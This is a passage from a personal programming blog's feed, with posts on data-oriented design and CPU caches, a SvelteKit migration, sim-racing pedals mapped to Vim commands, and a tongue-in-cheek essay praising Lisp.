<p>The last sentence, I think is the most important. Many game developers over the past few years have been letting go of object-oriented principles in favour of <a href="https://en.wikipedia.org/wiki/Data-oriented_design">data-oriented design</a>, which is motivated through efficient use of CPU cache lines, a thing we simplified over in our previous example. Basically, modern CPUs have several caches which can store small amounts of data to alleviate some of the constant back and forth in the buses.</p>
<p>I think it would be easiest to explain the concept with an example.</p>
<p>Imagine we have a city of people and we want to count how many people have the profession of "baker". Using OOP, we'd have a class called <code class="prettyprint">Person</code> with an attribute of <code class="prettyprint">profression</code> and we'd just loop through each <code class="prettyprint">Person</code> object and checking their profession. In C#,<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> it would look like this.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I don't actually know any C#. I wanted to use Python but I thought it would be clearer if I used a more strict OOP language and one that's actually used in game dev.</span></aside>
<pre class="prettyprint linenums"><code class="csharp language-csharp"><span class="hljs-keyword">class</span> <span class="hljs-title">Person</span> {
  <span class="hljs-built_in">int</span> size;
  <span class="hljs-built_in">string</span> name;
  <span class="hljs-built_in">string</span> profression;
  <span class="hljs-built_in">int</span> age;

  <span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">Main</span>(<span class="hljs-params"><span class="hljs-built_in">string</span>[] <span class="hljs-keyword">args</span></span>)</span> {
    <span class="hljs-comment">// an array of 100,000 people</span>
    Person[] people = <span class="hljs-keyword">new</span> Person[<span class="hljs-number">100000</span>];

    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// give each person in the array their attributes here</span>
    <span class="hljs-comment">//</span>

    <span class="hljs-comment">// count bakers</span>
    <span class="hljs-built_in">int</span> bakerCount = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">foreach</span> (Person p <span class="hljs-keyword">in</span> people) {
      <span class="hljs-keyword">if</span> (p.profression == <span class="hljs-string">&quot;baker&quot;</span>) {
        bakerCount++;
      }
    }

    Console.WriteLine(<span class="hljs-string">&quot;Number of bakers: {0}&quot;</span>, bakerCount);
  }
}
</code></pre>
<p>I'm now realising, since I'm not going to actually run this code, I could have just written pseudocode instead of wasting 20 mins looking at C# tutorials. But this should have been easy enough to understand anyway.</p>
<p>Every time you request a byte of memory that is not already present in one of the CPU caches, an entire cache line is fetched from the memory even if you need only 1 byte.</p>
<p>Let's say the address reference to <code class="prettyprint">name</code> and <code class="prettyprint">profression</code> is 4 bytes each, and the integer <code class="prettyprint">age</code> is also 4 bytes, and maybe let's also add another 8 bytes for class headers. That bring the total class size to 16 bytes. If we take in consideration that on a modern CPU the cache line size is 64 bytes, this means we can fetch at most 4 instances per cache line which will make us fetch from memory 25,000 times to get all 100,000 people. But out of those 64 bytes we are only using 16 bytes (4 of the <code class="prettyprint">profression</code> references), so we're wasting 48 bytes</p>
<p>In the worst case scenario, the instances are not allocated one after another and we can fetch only one instance per cache line because they aren't in a contiguous block of memory. For the entire city that means we have to fetch from memory 100,000 times and for every cache line fetched we're wasting 60 bytes.</p>
<p>Since fetching the data from memory is expensive and prone to the von Neumann bottleneck, we would prefer to keep the number of memory fetches as small as possible. This could be achieved in two ways:</p>
<ol>
<li>By reducing the amount of data that has to be fetched for our task.</li>
<li>By keeping the necessary data in contiguous blocks in order to fully utilize the cache lines.</li>
</ol>
<p>We can improve this by modelling the entire city at once instead of each individual person.</p>
<pre class="prettyprint linenums"><code class="csharp language-csharp"><span class="hljs-keyword">class</span> <span class="hljs-title">City</span> {
  <span class="hljs-built_in">int</span> size;
  <span class="hljs-built_in">string</span>[] names;
  <span class="hljs-built_in">string</span>[] profressions;
  <span class="hljs-built_in">int</span>[] ages;

  <span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">Main</span>(<span class="hljs-params"><span class="hljs-built_in">string</span>[] <span class="hljs-keyword">args</span></span>)</span> {
    City city = <span class="hljs-keyword">new</span> City();

    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// fill the city with people and update `size` here</span>
    <span class="hljs-comment">//</span>

    <span class="hljs-comment">// count bakers</span>
    <span class="hljs-built_in">int</span> bakerCount = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-built_in">int</span> i = <span class="hljs-number">0</span>; i &lt; city.size; i++) {
      <span class="hljs-keyword">if</span> (city.profressions[i] == <span class="hljs-string">&quot;baker&quot;</span>) {
        bakerCount++;
      }
    }

    Console.WriteLine(<span class="hljs-string">&quot;Number of bakers: {0}&quot;</span>, bakerCount);
  }
}
</code></pre>
<p>Both examples are algorithmically equivalent <code class="prettyprint">O(n)</code>, but the data-oriented solution will outperform the object-oriented one.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>In theory. I don't know how to run C# and actually benchmark it.</span></aside>
<p>The data oriented example fetches less data and that data is fetched in contiguous chunks (because that's how arrays work). So now we can fetch 16 <code class="prettyprint">profression</code> references at once to fill up the cache line without any waste. Since we are only fetching the data that we need, we only have to fetch from memory 6,250 times, a 4x speed-up from our previous best-case scenario, and a 16x speed-up from the worst-case.</p>
<p>I'm sure you could think of some very obvious drawbacks data-oriented design (although most of them come from the fact that C# is object-oriented and not data-oriented, so it doesn't really have the tools to support it), but the point is that - in terms of performance, this is <strong>objectively</strong> better.</p>
<p>The real problem here is that this is C#, a garbage collected language, I thought I wouldn't have to ever think about memory. Yet here I am, talking about cache lines and contiguous bytes. The abstraction clearly isn't working.</p>
<p>There are very many <em>boring</em> attempts to solve the bottleneck (and they mostly just lessen it's impact instead of "solving" it). Things like CPU caching (as above), branch predicting, and implementing the computer as a "system on chip". My favourite way would completely solve our issue<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> above (the wasting bytes in the cache part), and it's good 'ol <strong>content addressing.</strong></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>If anybody apart from me seemed to care about it, so we had actual working devices using it and wasn't just some niche research topic.</span></aside>
<p>Content-addressable memories (CAM) are an implementation of memory for an associative computational model. The memory of an associative computer takes some of the responsibility for processing. Only intermediate results are exchanged between memory and processor which greatly reduces the amount of communication between them.</p>
<p>CAM is a memory device that uses a technology similar to the one used in RAMs to store information but, contrary to RAM, the CAM selects the physical location based on the data contents. While the RAM requires the address of the location in which the information is stored, the processor has only to describe the data it wants to access and the CAM selects stored data matching the description.</p>
<p>Valid descriptions of memory words usually include combinations of the following properties: matching a binary pattern, being smaller or larger than a value, being in a range of values, being the largest value stored, and being the smallest value stored within a CAM. These comparisons are performed in parallel with the time required to execute the operation essentially independent from the number of words stored in memory.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>Ahh, content addressing, <a href="/post/7a6d394a8cb0d25564cc7a1f9f1b1df9b53d792271f1f8a0efceff1d762a6801">what can't you do?</a></p>
<p>Obviously this doesn't solve the von Neumann bottleneck as there's still a bus to transfer data, it's just faster. But isn't faster good enough? I'm pretty content with the speed of my M1 MacBook, so why do I keep railing on von Neumann architecture?</p>
<blockquote>
  <p>Our fixation on von Neumann languages has continued the primacy of the von Neumann computer, and our dependency on it has made non-von Neumann languages uneconomical and has limited their development.</p>
  <p>[…]</p>
  <p>The dominance of von Neumann languages has left designers with few intellectual models for practical computer designs beyond variations of the von Neumann computer.</p>
  <p>[…]</p>
  <p>Furthermore, in an effort to introduce storage and to improve their efficiency on von Neumann computers, applicative systems have tended to become engulfed in a large von Neumann system. For example, pure Lisp is often buried in large extensions with many von Neumann features.</p>
</blockquote>
<p>These are more quotes from John Backus' lecture in 1977, and they're still incredibly relevant today <strong>44</strong> years later. We haven't improved at all.</p>
<p>To make an effective computer system and make full use of the computer, you are forced into a single model of thinking. To even <strong>use</strong> a computer system, you are forced into a single model of thinking.</p>
<p>The "von Neumann correspondence" is the recognition that the problems - technical, conceptual and managerial in computer systems design correspond to certain problems in the user interface.<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a> The communication channels between user and computer have a relatively low capacity in comparison with the memory and CPU of the computer.</p>
<p>A CPU can directly ask for what it wants and completely understand it, but the computer has to <em>represent</em> its information in some way for the user. "Modes" in a user interface arise because of this communication bandwidth bottleneck - information not transferred between computer and user increases "modiness".</p>
<p>A modeless system (or, pedantically, a system with precisely one mode) is a system in which user commands can be viewed as pure state transitions. A modey system is one where commands effect state transitions, but possibly also change the command set.</p>
<p>So a modeless system would be WYSIWYG (what you see is what you get), where there is a simple relation between information transmitted from the computer to the user and the results obtained). That is, what the user can see (information transmitted from computer to user) is what the user gets (information transmitted from computer to results).</p>
<p>Lisp can be considered WYSIWYG (if you're me, and bend the facts enough) because its user interface compares to what data is being processed, where once an expression is evaluated, it is treated as data.</p>
<p>Having to unnecessarily refine the distinction between program and data (or commands and state) is a direct result of von Neumann architecture. Data is finite and program is infinitary (where they could possibly do an infinite number of things). This means, where data can be compared for equality by an effective procedure, a program cannot. Equally, we can observe that a user can compare results and other data for equality by inspection (however tedious this may be), but has no effective procedure for comparing commands.</p>
<p>Non-von Neumann languages permit infinitary data (e.g. lazy structures). Similar distinctions arise in user interface design, for instance between commands the user submits and the data that is being manipulated. In a "non-von Neumann" user interface, the user could manipulate commands (program) as data (like with "undoing").</p>
<p>Modes and WYSIWYG are generally recognised as major issues in the design of easy to use interactive systems. Typically, claims are made that "good" systems are WYSIWYG and have few modes.</p>
<p>I don't think I'm saying what I want to say very clear. So let's back up for a bit.</p>
<p>In order to work with a computer system (effectively), you need to understand how the computer system works (as in, you do what the computer wants and not the other way around). I know this is completely okay with <strong>you</strong>, because <strong>you</strong> know how a computer works. That's great dude. But most people don't.</p>
<p>The most high-level programming languages hide their abstractions and suffer from it, making them less useful then they could and should be. The simplest and most intuitive UIs hide their implementation detail and suffer from it, making them less useful then they could and should be.</p>
<blockquote>
  <p>There are numerous indications that the applicative style of programming can become more powerful than the von Neumann style. Therefore it is important for programmers to develop a new class of history-sensitive models of computing systems that embody such a style and avoid the inherent efficiency problems that seem to attach to lambda-calculus based systems. Only when these models and their applicative languages have proved their superiority over conventional languages will we have the economic basis to develop the new kind of computer that can best implement them. Only then, perhaps, will we be able to fully utilize large-scale integrated circuits in a computer design not limited by the von Neumann bottleneck.</p>
</blockquote>
<p>Have some imagination, use Lisp, and one day, maybe we'll be able to write Haskell without monads.</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://pdxscholar.library.pdx.edu/cgi/viewcontent.cgi?article=5186&context=open\_access\_etds</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://ieeexplore.ieee.org/document/209312</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[The SvelteKit Migration]]></title>
        <id>https://justin.duch.me/post/sveltekit_migration</id>
        <link href="https://justin.duch.me/post/sveltekit_migration"/>
        <updated>2021-04-28T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Another year, another blog change.</p>
<p>Okay, for real - <strong>this</strong> time is the last time. And I really mean it, I'm getting too lazy to bother with making changes and spending too much time trying to figure out how this blog should be built. I have plans for the far future, and it'll be hard to get those setup if this blog keeps changing.</p>
<p>But this was necessary. <a href="https://sapper.svelte.dev">Sapper</a> the previous web framework I used, is being deprecated in favour of <a href="https://kit.svelte.dev">SvelteKit</a>. Obviously, I could have just kept with Sapper and it still would have worked fine, but I'd rather be using something that isn't deprecated when I get to those future plans.</p>
<p>Unfortunately, SvelteKit is still pre v1.0 which means a bunch of stuff is probably going to change in the future. But I've always found Svelte to be pretty stable, so hopefully there won't be <strong>that</strong> much to change.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> Maybe, I should have waited, but I'm very impatient and I was pretty excited for it's release.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Famous last words.</span></aside>
<p>SvelteKit's docs give a pretty straightforward <a href="https://kit.svelte.dev/migrating">migration guide</a> from Sapper. And it only took me a few hours to read SvelteKit's documentation and do a complete migration of this blog.</p>
<p>One of the things that caught me off guard was having to add <code class="prettyprint">"type": "module"</code> to the <code class="prettyprint">package.json</code>. Apparently, this enables ES Modules which forces you to use <code class="prettyprint">import x from 'x'</code> when importing syntax, where before you could also use the CommonJS syntax of <code class="prettyprint">const x = require(x)</code>. Not a big deal, it's better this way, but it was annoying having to change imports and exports in everything.</p>
<p>SvelteKit also uses client-side router that intercepts navigations (from clicking on links or the back/forward buttons) and updates the page contents (as opposed to the browser handling the navigation by reloading), even when you use the static site adapter and export everything into static files.</p>
<p>I hate this, this is a static site and a client side router makes it feels too SPA-like and sluggish. This site is hosted in Germany and I live in Australia so because of the latency, when I would click a link it would stay on the same page for ~1 second and then change (like a SPA). This was an easy change by adding <code class="prettyprint">router: false</code> to <code class="prettyprint">svelte.config.cjs</code>. Ultimately the time taken to load the page is about the same, but it feels more responsive when the browser actually loads the page.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Also having the navigation done on the client side implies that JavaScript is being used, and I'd prefer to keep my JS usage hidden ;)</span></aside>
<p>With SvelteKit's SSR, it always <a href="https://en.wikipedia.org/wiki/Hydration_(web_development)">hydrates</a> server-rendered HTML into an interactive page. I found that it was adding JS to pages where it wasn't being used at all on the client side, like <code class="prettyprint">/post</code> and <code class="prettyprint">/about</code>. Thankfully, you can add <code class="prettyprint">export const hydrate = false;</code> to each of your pages where JS isn't being used to disable hydration.</p>
<p>You could also use the <code class="prettyprint">hydrate</code> option in the <code class="prettyprint">svelte.config.cjs</code> file, but that will disable JavaScript for every page (because the router is also disabled) and that was a no-no since I use JS on this page,<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> and will use JS for the aforementioned "far future plans".</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>If you can figure out where (without looking at the source code), I'll give you a hand-full of... nothing. It's pretty obvious.</span></aside>
<p>Anyway, those were all back end changes that nobody except me would have noticed. So I decided to do a few things to the front end.</p>
<p>The most obvious is that the <code class="prettyprint">/post</code> route looks like this.</p>
<p><img src="/img/sveltekit_post.png" alt="image" /></p>
<p>First, let's address the elephant in the room: <del>What is up with the inconsistent gaps between each post?</del> Why is there more French now?</p>
<p>I don't think there's <strong>more</strong> French, I've just added more words to the page. It's just that they're in French.</p>
<p>If you scroll down the page and pay attention to the gaps between each post, I hope you'll notice that they correspond with the intervals between the dates of each post. It's meant to directly visualise how much of a "gap" there is between each one (in both space and time). The page title's change from "articles" to "chronologie", was made to help clarify it.<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span></p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>No, this doesn't count as more French, "articles" is a French word so the French percentage has stayed the same.</span></aside>
<p>Originally, I thought of going for an actual "timeline" view, separating everything by dates and stuff, but that became too cluttered and took too much space.</p>
<p>So really, I just thought it was an interesting idea (I haven't seen anyone layout their stuff like this before), and I liked it enough to keep it. It also will help to serve the ideas of the "far future plans", assuming these plans turn out how I'm thinking they will, if they ever become realised at all.</p>
<p>And the bar below the title of the posts are just the "read time". I didn't really think too hard about that one.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Vim Clutch Improved]]></title>
        <id>https://justin.duch.me/post/vim_clutch_improved</id>
        <link href="https://justin.duch.me/post/vim_clutch_improved"/>
        <updated>2021-04-17T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Using foot pedals as an input device aren't a new idea. For transcribers, a foot pedal can be considered an essential tool. Using one means keeping your hands focused on fewer tasks and maintaining greater productivity. While transcribing, people often use them to pause, rewind, and fast forward audio recordings.</p>
<p>This means you can use keystrokes for standard typing and not have to worry about additional "hotkey" commands to control audio functions, and using fewer keystrokes also generally improves your writing speed.</p>
<p>I don't really know what goes into looking for a good foot pedal for this process, but I've seen several pedals go over $100 like the <a href="https://www.pacifictranscription.com.au/product/philips-acc2330-usb-4-pedal-foot-switch/">Philips ACC2330</a> which is $195. This probably means that there must be some very small but vocal community of transcribers out there somewhere, so I'm going to stop talking about this before I get something wrong and they start cancelling me.</p>
<p><a href="https://github.com/alevchuk/vim-clutch">Vim Clutch by Aleksandr Levchuk</a> is an attempt at using a foot pedal for text editing in Vim. It's a quick read, but in case it ever gets taken down for some reason (who <em>knows</em> what the reason could be, the Internet is a wild place these days haha), I'm going to summarise it here.</p>
<p>Basically, they bought 2 cheap $10 programmable pedals and tried to make it so that when the pedal is pressed down, the pedal types <code class="prettyprint">i</code> which puts Vim in "insert" mode and when it is released, it types <code class="prettyprint">&lt;esc&gt;</code> putting it back to "normal" mode.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>I'm assuming you know how Vim works, so I'm not going to explain modes.</span></aside>
<p>One of the problems was that only the "pedal down" event could be programmed, so they then took both pedals apart and used <strong>incredibly complicated electrical engineering that no mere mortal could possibly understand</strong> to take the sensor out of one pedal and put it into the other, giving them one pedal that can be programmed on the press+release and some junk plastic.</p>
<p>This is all well and good. It seems like it could be pretty useful, like with how transcribers use them.</p>
<p>There is a one problem however. I'm a member of the very small but vocal sim-racing community, and I have to say that this <strong>makes no sense</strong> and I want Aleksandr Levchuk <strong>CANCELLED</strong>.</p>
<p>Why is it called Vim Clutch?</p>
<p>If anything it acts more like a car's throttle pedal instead of it's clutch pedal, where being in insert mode let's you add more text, with which I could vaguely make analogies to a car accelerating if I bend the facts enough.</p>
<p>In a car,<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> the clutch pedal is for disengaging the clutch so a different gear can be chosen. So really, when you press the "clutch" down it should go into "normal" mode where you can then chose which "mode" or "gear" to go into.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>I'm talking about the good cars with a manual transmission and three pedals. Pro tip: every car with two pedals is a crap box and not worth any attention.</span></aside>
<p>Now you might say:</p>
<p>"Are you kidding me Justin? This isn't about cars, those transcribers don't pretend their pedals are for cars, why are you doing this?"</p>
<p><strong>IT BECAME ABOUT CARS WHEN "CLUTCH" WAS PUT IN THE TITLE YOU INSOLENT FUCK.</strong></p>
<p>Anyway, today we're going to do this better.</p>
<p>Instead of that crappy on/off switch type foot pedal, I have proper 12 bit resolution Fanatec CSL Elite Pedals with the Loadcell Brake extension, which uses <strong>glorious</strong> potentiometer sensors to give 16 bits for <strong>optimum breaking performance</strong>. And it's also made out of <strong>full-metal aluminium</strong> instead of that <strong>shitty</strong> plastic that turtles are going to choke on, because if a turtle tried to eat my pedals they will break their mouth.</p>
<p><img src="/img/pedals.jpg" alt="pedals" /></p>
<p>Don't ask how much they cost and ignore the cables.</p>
<p>Since I have three pedals, this means I can map them to more Vim commands, which means I can write better, and that makes me a better person (in general).</p>
<p>If you disagree, at the end of their document, Levchuk says something about ordering a "triple version" of the pedal, but they haven't done it yet and it's been over 9 years, so I don't think it's going to happen. This makes me pretty confident in my statement.</p>
<p>But since we're here, let's see what Levchuk wanted to do with three pedals.</p>
<blockquote>
  <p>PC Sensor also has a triple version of the pedal. I will order two of those as well. I will program:</p>
  <ul>
  <li>The left pedal to "I" - insert at the beginning of the line</li>
  <li>The middle pedal to "i" - regular insert mode</li>
  <li>The right pedal to "A" - insert at the end of the line</li>
  </ul>
</blockquote>
<p>I am so mad right now, I'm actually <strong>shaking</strong>.</p>
<p>Not only did they have the <strong>nerve</strong> to call the "clutch", "break", and "throttle" pedals "left", "middle", and "right" instead, <strong>all</strong> of them are for going into normal mode (which we <strong>all</strong><span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> agreed is analogous to accelerating). So these pedals would all be throttles! I'm going to cry.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Yeah, we all did. I saw you agreeing back there!</span></aside>
<p>To fix this, we can use our <strong>proper sim-racing</strong> pedals with a program called <a href="https://joytokey.net/en/">JoyToKey</a>,<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> which gives us a GUI to allow a game-pad (or our pedals) to emulate the keyboard.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>It's $7 with a free trial, but it's the best one I've found which let me do this.</span></aside>
<p>First, let's fix "Vim Clutch" and put it on the actual clutch pedal. For me, JoyToKey has my clutch on the horizontal axis of "Stick 2" (I don't think this program is really designed for pedals, but I am impressed that it worked for me without any setup).</p>
<p>So, if you open the "Stick 2: -&gt;" button assignment and go to the "Keyboard (Multi)" tab you'll see this.</p>
<p><img src="/img/joytokey-1.png" alt="joytokey 1" /></p>
<p>Make sure to check the button at the bottom that says "[Input1] when the button is release (and [Input2] when it's pressed)", we're going to use this for all our bindings.</p>
<p>Now we can add binds for "Input2" to become <code class="prettyprint">&lt;esc&gt;</code> and "Input1" to be <code class="prettyprint">i</code>, reversing the original Vim Clutch by making it an actual clutch. Now when we want to go into "normal" mode we press the clutch, and when we go into "insert" mode we release it.</p>
<p>The thing is though… I actually spend most of my time in "normal" mode, which means I'm going to have the clutch pressed most of the time, and that doesn't make sense from a car perspective.</p>
<p>So change of plans, we keep the original Vim Clutch but move it to the throttle pedal. This also means it should be renamed to <strong>Vim Throttle</strong>.</p>
<p>Now we can map the break pedal to… uhh… we can map it to "backspace"? But that makes it more like a "reverse" pedal, which doesn't exist. Okay, let's think through this: breaking, breaks, stopping, quitti- <strong><a href="https://stackoverflow.com/questions/11828270/how-do-i-exit-the-vim-editor">HOW DO YOU QUIT VIM?</a></strong> Of course!</p>
<p>We can map the break pedal to <code class="prettyprint">:q</code>, and now I won't have to refer to that StackOverflow question every time I want to quit!</p>
<p>No, I'm kidding of course, that would be ridiculous. Maybe we can have <code class="prettyprint">:</code> on "Input2" (when pressed) and <code class="prettyprint">&lt;enter&gt;</code> on "Input1" (when released), so it's easier to type commands like <code class="prettyprint">:q</code>.</p>
<p>And finally, the clutch pedal. Hmm. Maybe "visual" mode? I can't really think of anything. I haven't even been able to use the full 12/16 bit resolution of these pedals. It's almost as if there isn't that much you do with pedals made specifically for sim-racing, and that you can't really apply the process of driving a car to a 30 year old modal text editor.</p>
<p>Which just means we need a new text editor.</p>
<p>So, let's brainstorm a new, perfect text editor. One that doesn't just use the pedals, but our entire sim-racing rig.</p>
<p>On the screen will be a horizontal list of characters, and you use your Fanatec ClubSport Steering Wheel Formula V2 connected to your Fanatec Podium Wheel Base DD1 to select a character by turning the wheel left or right.</p>
<p>The carbon fibre construction of the ClubSport wheel, will make those rotations a breeze, and you could even have the selected character shown on it's LED display. The Podium Wheel Base is there to provide responsive and realistic feedback when doing any action with it's first-class direct drive motor.</p>
<p>Pressing the throttle scrolls the cursor to the right, and wraps to the next line when it gets to the end of the current line (and back to the top of the document when it gets to the end). With the 12 bit resolution of the Fanatec CSL Elite Pedals, you'd even be able to granularly change how fast it moves.</p>
<p>The character selected by your wheel is inserted automatically every few seconds (depending on your RPM), so you use your break pedal to completely stop the insertion. Once again, with the 16 bit resolution of the Loadcell Brake extension for your Fanatec CSL Elite Pedals, you get even more options on how much breaking force you can apply.</p>
<p>You can change modes with your Fanatec ClubSport Shifter SQ when the clutch is pressed in. Vim only has three modes, but the Fanatec ClubSport Shifter SQ uses a 7 gear H-pattern layout, which means we can have 8 modes (including reverse)!</p>
<p>Does this make any sense? No. But, if the sim-racing community has taught me anything, if I can become a better driver by buying more expensive gear, then surely I'll get better at text editing too! And besides, now you can <a href="https://en.wikipedia.org/wiki/Heel-and-toe_shifting">heel-toe</a> in your text editor.</p>
<p>This post is not sponsored by Fanatec.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Lisp Is The Best Programming Language Because It's The Only Programming Language]]></title>
        <id>https://justin.duch.me/post/lisp_is_best</id>
        <link href="https://justin.duch.me/post/lisp_is_best"/>
        <updated>2021-03-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<pre class="prettyprint linenums"><code class="plaintext language-plaintext">(What the world needs
    (I think)
    (is not
        (a Lisp (with fewer parentheses))
        (but (an English
            (with more.)))))
</code></pre>
<p>I think it's about time, as a member of the Lisp cult, to write my obligatory blog post about why Lisp is the best programming language. I've alluded to this in the past when talking about other languages I like.</p>
<blockquote>
  <ul>
  <li><a href="/post/oop_is_okay">Things I Like About Object-Oriented Programming</a></li>
  </ul>
  <p>[…] Elixir has the best modularity of any functional language (that's not a Lisp) […]</p>
  <ul>
  <li><a href="/post/stop_picking_on_the_borrow_checker">Stop Picking On The Borrow Checker ;(</a></li>
  </ul>
  <p>[…] Rust is the most well designed language for developer UX (that isn't a Lisp) […]</p>
</blockquote>
<p>But Lisp isn't the best language because of "functional programming", or "type soundness", or "local reasoning", or "correctness", or any other of that nonsense that lesser languages need in order to compete with each other.</p>
<p>No, leave that crap for the children to fight over.</p>
<p>Lisp is the best programming language because it's the only programming <strong>language</strong>. The emphasis on <strong>language</strong> is important here.</p>
<p>Most programming languages have several syntax rules. Lisp has one: everything is a list.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> The first element is a function name, and the rest are its arguments. Thus, the language is simply a collection of compile and run-time functions, trivially extensible.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>LISP stands for LISt Processing, although we don't refer to Lisp with the acronym anymore.</span></aside>
<p>Lisp, created in 1959, is the oldest language in widespread use. Because Lisp programs are just a simple data structure, Lisp has a powerful macro facility which can be used to extend the basic language. When new styles of programming were invented, other languages died out and Lisp simply incorporated the new styles by defining some new macros.</p>
<p>Lisp is the only <strong>descriptive</strong> programming language.</p>
<p>A natural languages' "descriptive grammar" is a linguist's description or model of the mental grammar, including the units, structures and rules. It's an explicit statement of what speakers know about their language. This is in contrast to a "prescriptive grammar", where rules of grammar are brought about by grammarians' attempts to legislate what speakers' grammatical rules should be, rather than what they are.</p>
<blockquote>
  <p>Imagine adding object orientation to the C and Scheme programming languages. Making Scheme object-oriented is a sophomore homework assignment. On the other hand, adding object orientation to C requires the programming chops of Bjarne Stroustrup.</p>
  <p>The consequences of this divergence in needed talent and effort cause <a href="http://www.winestockwebdesign.com/Essays/Lisp_Curse.html">The Lisp Curse:</a></p>
  <p>Lisp is so powerful that problems which are technical issues in other programming languages are social issues in Lisp.</p>
</blockquote>
<p>Other languages try their hardest to force you into their syntactical rules (looking at you, Go), they have specifications with thousands of words specifying every little lexical element that you <strong>MUST</strong> use or the compiler will scream and throw the language whitepaper at your face.</p>
<p>Not Lisp. Lisp just hands you a pair of these lovely boys <code class="prettyprint">()</code> and says, "these are my favourite parentheses, they're called 'special expressions'. You can use them to do whatever you want."</p>
<blockquote>
  <p>In other languages you fit your problem to the language; with Lisp you extend the language to fit your problem.</p>
</blockquote>
<p>But sure, maybe you want to be screamed at. Maybe you like reading language specifications. Maybe you want to do things the "right" way. That's fair, some people need to be hand-held by the language designers so they know what they're supposed to do. But maybe, instead of relying on your language to determine what's "correct", you should try…</p>
<p><strong>Being a better programmer.</strong></p>
<p>Lisp is the only language with actual <strong>dialects</strong>.</p>
<p>Every natural language is part of a family (eg. English is part of the Indo-European family along with Spanish, French, German, etc.)<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> and can have several dialects, that are the variety of that language whose grammar differs in systematic ways from other varieties (eg. British English, African-American Vernacular English, Australian English, etc.).</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>This can be subdivided further with English and German being part the Germanic branch of languages in the Indo-European family.</span></aside>
<p>While C++ and Go are in the same family of C, they are completely different languages are require a paradigm shift in thinking (and in the language itself) to learn and use one from the other. Scheme and Clojure, on the other hand are still technically different languages that attempt to do very different things, but they're both dialects of Lisp so it's incredibly easy to go from one to the other.</p>
<p>You could argue that this is a bad thing. That natural languages only have so many dialects because language is an important part of culture and different dialects naturally occurs because of that. But bytes have no culture, and having so many (too many I would argue) slightly different variations of the same language provides none of the benefits and all of the negatives: like sowing dissent on the "other" and believing you're better than someone just because they use a dialect you don't.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>There's nothing wrong with liking Clojure okay! ;( Shut up.</span></aside>
<p>And let's not forget The Lisp Curse.</p>
<blockquote>
  <p>Since making Scheme object-oriented is so easy, many Scheme hackers have done so. More to the point, many <em>individual</em> Scheme hackers have done so. In the 1990s, this led to a veritable warehouse inventory list of object-oriented packages for the language. The Paradox of Choice, alone, guaranteed that none of them would become standard.</p>
</blockquote>
<p>You know what? You're absolutely right, we don't need a thousand different Lisp dialects. But don't you think that the fact that you can even do this is…</p>
<p><strong>COOL AS FUCK.</strong></p>
<p>Okay, okay, I'll admit, it's not all sunshine and rainbows here in the Lisp cult. Don't tell the other members I'm saying this because they might get mad and lock me up, but there are <em>some</em> downsides to Lisp.</p>
<p>The first is that since Lisp is still a relatively niche language, the ecosystem isn't <em>quite</em> there compared to the big boys. The tooling is good, but still a bit lacking. I blame this on most Lisp programmers using Emacs<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> and hogging all the good tools, leaving us Vimmers with our sub-standard scripting language to rot. This isn't an issue with Lisp but with people, but it's still important.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Emacs is written in Lisp, which is also why it is highly extensible.</span></aside>
